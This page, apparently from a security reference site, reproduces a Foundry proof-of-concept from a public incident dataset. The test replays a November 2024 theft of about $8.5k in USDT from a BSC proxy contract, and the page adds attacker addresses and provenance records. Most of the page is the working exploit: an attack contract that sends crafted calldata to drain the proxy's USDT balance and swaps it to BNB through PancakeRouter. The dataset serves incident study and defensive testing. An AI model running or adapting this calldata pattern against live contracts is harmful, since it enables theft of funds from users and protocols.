Skip to content
THREATWIRE

Public reproduction file

src/test/2024-11/proxy_b7e1_exp.sol

Public reproduction file for dataset entry Proxy_b7e1.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-11/proxy_b7e1_exp.sol107 lines
1pragma solidity ^0.8.10;
2
3import "forge-std/Test.sol";
4import "../interface.sol";
5
6// @KeyInfo - Total Lost : $8.5k
7// Attacker : https://bscscan.com/address/0x9f2ecec0145242c094b17807f299ce552a625ac5
8// Attack Contract : https://bscscan.com/address/0x9b78b5d9febce2b8868ea6ee2822cb482a85ad74
9// Vulnerable Contract : https://bscscan.com/address/0xb7e1d1372f2880373d7c5a931cdbaa73c38663c6
10// Attack Tx : https://bscscan.com/tx/0x864d33d006e5c39c9ee8b35be5ae05a2013e556be3e078e2881b0cc6281bb265
12// @Info
13// Vulnerable Contract Code : https://bscscan.com/address/0xb7e1d1372f2880373d7c5a931cdbaa73c38663c6
15// @Analysis
16// Post-mortem : https://x.com/TenArmorAlert/status/1860867560885150050
17// Twitter Guy : https://x.com/TenArmorAlert/status/1860867560885150050
18// Hacking God : N/A
20address constant PancakeRouter = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
21address constant BEP20USDT = 0x55d398326f99059fF775485246999027B3197955;
22address constant ERC1967Proxy = 0xb7E1D1372f2880373d7C5a931cDbAA73C38663C6;
23address constant wbnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
24address constant attacker = 0x9f2eceC0145242c094b17807f299Ce552A625ac5;
26contract ContractTest is Test {
27 function setUp() public {
28 vm.createSelectFork("bsc", 44294726);
29 }
31 function testPoC() public {
32 emit log_named_decimal_uint("before attack: balance of attacker", address(attacker).balance, 18);
33 vm.startPrank(attacker, attacker);
34 AttackerC attC = new AttackerC();
35 // deal(BEP20USDT, address(attC), 8484920000000000000000);
36 attC.attack();
37 vm.stopPrank();
38 emit log_named_decimal_uint("after attack: balance of attacker", address(attacker).balance, 18);
39 emit log_named_decimal_uint("after attack: balance of address(attC)", IERC20(0x7570FDAd10010A06712cae03D2fC2B3A53640aa4).balanceOf(address(attC)), 18);
40 }
43contract AttackerC {
44 constructor() {}
46 function attack() external {
47 uint256 proxyUsdtBal = IBEP20USDT(BEP20USDT).balanceOf(ERC1967Proxy);
48 bytes32 fixedData1 = hex"000001baffffe897231d193affff3120000000e19c552ef6e3cf430838298000";
49 bytes memory data = abi.encodePacked(
50 bytes4(0x9b3e9b92),
51 abi.encode(
52 address(BEP20USDT),
53 fixedData1,
54 uint256(0),
55 uint256(1),
56 uint256(192),
57 uint256(224),
58 uint256(0),
59 uint256(0)
60 )
61 );
62 (bool c2, ) = ERC1967Proxy.call(data);
64 uint256 nextOrderId = IERC1967Proxy(ERC1967Proxy).nextOrderId();
65 bytes32 fixedData2 = hex"fffffffffffffffffffffffffffffffffffffffffffffffffffff8cd94b80000";
66 bytes memory data2 = abi.encodePacked(
67 bytes4(0x9b3e9b92),
68 abi.encode(
69 address(BEP20USDT),
70 fixedData2,
71 uint256(0),
72 uint256(1),
73 uint256(192),
74 uint256(256),
75 uint256(1),
76 nextOrderId,
77 uint256(1),
78 uint256(proxyUsdtBal)
79 )
80 );
81 (bool c4, ) = ERC1967Proxy.call(data2);
83 uint256 selfBal = IBEP20USDT(BEP20USDT).balanceOf(address(this));
85 IBEP20USDT(BEP20USDT).approve(PancakeRouter, type(uint256).max);
87 address[] memory path = new address[](2);
88 path[0] = BEP20USDT;
89 path[1] = wbnb;
90 IPancakeRouter(payable(PancakeRouter)).swapExactTokensForETHSupportingFeeOnTransferTokens(
91 selfBal,
92 0,
93 path,
94 tx.origin,
95 block.timestamp
96 );
97 }
100interface IERC1967Proxy {
101 function nextOrderId() external view returns (uint256);
104interface IBEP20USDT {
105 function balanceOf(address) external returns (uint256);
106 function approve(address, uint256) external returns (bool);

Analysis

Dataset entry

Public Foundry test for “Proxy_b7e1” (2024-11-24). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

14 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x9f2ecec0145242c094b17807f299ce552a625ac5

  • Attack Contract

    0x9b78b5d9febce2b8868ea6ee2822cb482a85ad74

  • Vulnerable Contract

    0xb7e1d1372f2880373d7c5a931cdbaa73c38663c6

  • Attack Tx

    0x864d33d006e5c39c9ee8b35be5ae05a2013e556be3e078e2881b0cc6281bb265

File record

Name
Proxy_b7e1
Path
src/test/2024-11/proxy_b7e1_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
4100b90fe3fbed832d004d7b04f91e8a851a7386
Language
Solidity
Size
107 lines
Date
2024-11-24
Licence
ThreatWire editorial text
Retrieved
2026-10-19

Provenance

Path src/test/2024-11/proxy_b7e1_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 4100b90fe3fbed832d004d7b04f91e8a851a7386, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.